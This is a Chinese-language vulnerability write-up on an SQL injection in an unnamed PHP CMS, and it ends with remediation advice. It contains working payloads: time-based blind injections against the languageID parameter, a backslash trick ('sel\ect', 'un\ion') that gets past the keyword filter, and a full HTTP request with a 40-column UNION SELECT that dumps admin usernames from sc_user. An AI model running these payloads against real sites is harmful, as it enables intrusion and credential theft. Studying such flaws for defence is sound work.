某cms漏洞挖掘分析
字数 1370 2025-08-06 08:35:06
某CMS漏洞挖掘与分析教学文档
1. 漏洞概述
本教学文档详细分析了一个CMS系统中存在的SQL注入漏洞,该漏洞位于index.php文件中,通过精心构造的Payload可以绕过系统的WAF防护机制。
漏洞特点
- 系统环境:PHP5.6 + Apache2.4 + MySQL5.7
- 漏洞类型:SQL注入
- 影响文件:
web_inc.php及多个包含该文件的模板文件 - 绕过机制:利用过滤函数调用顺序实现WAF绕过
2. 漏洞发现过程
2.1 入口点分析
从index.php开始分析,发现web_inc.php文件中存在两处对$Language变量的直接调用,疑似注入点。
2.2 变量溯源
$Language变量来源于POST请求,经过以下两个函数处理:
test_input()verify_str()
3. 过滤机制分析
3.1 verify_str()函数
function verify_str($str) {
if(inject_check_sql($str)) {
return 'Sorry,You do this is wrong! (.-.)';
}
return $str;
}
inject_check_sql()函数使用正则表达式匹配以下关键词(不区分大小写):
select|and|insert|=|%|<|between|update|'|\*|union|into|load_file|outfile
3.2 test_input()函数
function test_input($data) {
$data = trim($data); // 去除两边空格
$data = stripslashes($data); // 去除反斜杠
$data = htmlspecialchars($data,ENT_QUOTES); // 转义HTML特殊字符
return $data;
}
关键点:verify_str()和test_input()的调用顺序是先verify_str()后test_input()。
4. 漏洞利用技术
4.1 初始测试
- 构造0和1测试无回显差异
- 尝试
sleep()语句进行时间盲注
4.2 时间盲注技巧
发现小值sleep()会被后端多次查询放大:
sleep(1)实际睡眠40秒以上- 导致服务器返回500错误
调整策略:
- 使用较小sleep值(如0.01秒)
- 通过状态码判断结果
4.3 数据库信息获取
获取数据库长度:
languageID=(0)or(if(length(database())like(1),sleep(2),0))
获取数据库名称:
languageID=(0)or(if(substr(database(),1,1)like(0x73),sleep(2),0))
验证数据库名称:
languageID=(0)or(if(database()like(0x73656d636d73),sleep(2),0))
4.4 其他注入点
发现/Templete/default/Include/search.php等包含web_inc.php的文件也存在相同漏洞。
5. WAF绕过技术
5.1 绕过原理
利用函数调用顺序:
verify_str()先检查原始输入test_input()随后去除反斜杠
通过在关键词中添加反斜杠绕过:
- 原始Payload:
select sleep(1) - 绕过Payload:
sel\ect sleep(1)
5.2 绕过验证代码
$test1 = 'select sleep(1)'; // 被拦截
$test2 = 'sel\ect sleep(1)'; // 成功绕过
5.3 实际利用
绕过select测试:
languageID=0%20or%20if((sel\ect%20user_admin%20from%20sc_user)like%200x41646d696e,sleep(0.01),sleep(0))
6. 数据回显技术
6.1 寻找回显点
在/Templete/default/Include/search.php中找到tag_home字段作为回显位置。
6.2 联合查询构造
确定sc_lable表中回显位为第2列,构造40个字段的联合查询:
POST /Templete/default/Include/search.php HTTP/1.1
Host: mylocal:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 168
languageID=-1%20un\ion%20se\lect%201,user_admin,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40%20from%20sc_user
7. 漏洞修复建议
- 参数化查询:使用预处理语句替代直接拼接SQL
- 过滤顺序调整:先去除反斜杠再进行关键词检查
- 最小权限原则:数据库连接使用最小必要权限
- 错误处理:避免直接显示数据库错误信息
- WAF增强:增加对变形Payload的检测能力
8. 总结
本案例展示了:
- 如何通过代码审计发现SQL注入漏洞
- 时间盲注技术的实际应用
- 利用函数调用顺序绕过WAF的巧妙方法
- 从盲注到回显的完整利用链
通过此漏洞分析,安全研究人员可以学习到高级SQL注入技术和WAF绕过思路,同时开发者也能从中获取安全编码的重要经验。